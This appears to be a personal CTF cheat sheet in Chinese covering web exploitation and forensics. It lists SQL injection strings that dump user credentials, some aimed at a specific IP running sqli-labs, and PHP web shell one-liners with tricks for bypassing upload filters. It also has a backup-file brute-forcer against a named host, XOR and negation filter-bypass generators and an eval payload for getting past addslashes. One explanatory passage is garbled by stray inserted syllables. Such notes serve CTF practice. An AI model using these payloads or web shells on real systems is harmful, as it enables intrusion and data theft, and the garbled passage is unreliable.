sql注入基本语句
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
sql注入字符型闭合方式
字符型
就如上边所说,闭合方式有很多种,我们需要挨个猜
常见的闭合方式有成对的' '、” “、( )
以及他们的组合类似于(' ')
验证方式
数值型
43.247.91.228:84/Less-2/?id=1
43.247.91.228:84/Less-2/?id=99999
43.247.91.228:84/Less-2/?id=1 and 1=1
43.247.91.228:84/Less-2/?id=1 and 1=2
43.247.91.228:84/Less-2/?id=1 or 1=1
字符型
http://43.247.91.228:84/Less-1/?id=1
http://43.247.91.228:84/Less-1/?id=1'
http://43.247.91.228:84/Less-1/?id=1' or '1'='1'--+
http://43.247.91.228:84/Less-1/?id=1' --+
考虑不同闭合方式,有时会出现(‘’)
outguess隐写
outguess -k gemlove -r sheng_huo_zhao_zhao.jpg -t flag.txt
文件上传
在CTFweb题中关于文件类的题目经常会是这种文件上传漏送和文件包含漏洞一起使用,这时候就还是要合理利用方法,避免像我这样兜兜转转一大圈然后最后使用简单方法一样能做的出来。另外在这个题目中,关于使用的木马也是有要求的,不能使用最普遍使用的那个一句话木马进行图片木马的制作,像<?php @eval($_POST['pass']);?> 这个木马是没法办用的,也不是说没办法用,可以用但是最后菜刀连接不上我们的木马文件,原因是,在解析过程中<和php都被过滤掉了,这就很麻烦,这是用我们换一种木马的写法:<?=eval($_POST['shell']);这个木马最后是可以连接的。
当<?被过滤时可以使用:<script language="php">eval($_POST['cmd'])</script>
当遇到这个时Don't lie to me, it's not image at all,可以考虑伪造一个gif文件的文件头GIF89a
备份文件的爆破
import requests
url = "http://ctf.dino209.cn:20058/" #网站地址
#组合形式
li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
number = 1
for i in li1:
for j in li2:
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print(r,' ',i,' ',j)
#查看最后的回显
信息泄露题目
can you find the source code of me?
备份文件下载(网站源码、bak文件、vim缓存、.DS_Store)
参考文章
高频字母
import re
file = open('D:/Pycharm/3.9/CTF脚本/11.txt')
line = file.readlines()
file.seek(0,0)
file.close()
result = {}
for i in range(97,123):
count = 0
for j in line:
find_line = re.findall(chr(i),j)
count += len(find_line)
result[chr(i)] = count
res = sorted(result.items(),key=lambda item:item[1],reverse=True)
num = 1
for x in res:
#print('频数第{0}: '.format(num),x)
print(x,end="")
num += 1
0,1构造二维码
from PIL import Image
x = 21
y = 21
im = Image.new('RGB', (x, y))
white = (255, 255, 255)
black = (0, 0, 0)
with open('file1.txt') as f:
for i in range(x):
ff = f.readline()
for j in range(y):
if ff[j] == '1':
im.putpixel((i, j), black)
else:
im.putpixel((i, j), white)
im.save("2.jpg")
CRC爆破宽高
import zlib
import struct
filename = '2.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095 #理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
for w in range(n): #高和宽一起爆破
width = bytearray(struct.pack('>i', w)) #q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("宽为:",end="")
print(width)
print("高为:",end="")
print(height)
exit(0)
PHP正则匹配后代码执行的一些绕过方法
异或绕过
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
取反中文字符fuzz的PHP脚本
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
ZmxhZ3t = flag{
Unicode欺骗
ᴬᴰᴹᴵᴺ
参考链接
HTML转义字符
https://tool.oschina.net/commons?type=2
${}
$( )与` `(反bai引号)都是du用来作命令替zhi换的。
命令替换dao与变量替换差不多,都zhuan是用来重组命令行的shu,先完成引号里的命令行,然后将其结果替换出来,再重组成新的命令行。
${ }变量替换
一般情况下,$var与${var}是没有区别的,但是用${ }会比较精确的界定变量名称的范围
eg:addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。我们可以通过这个payload来绕过:
${eval($_GET[0])};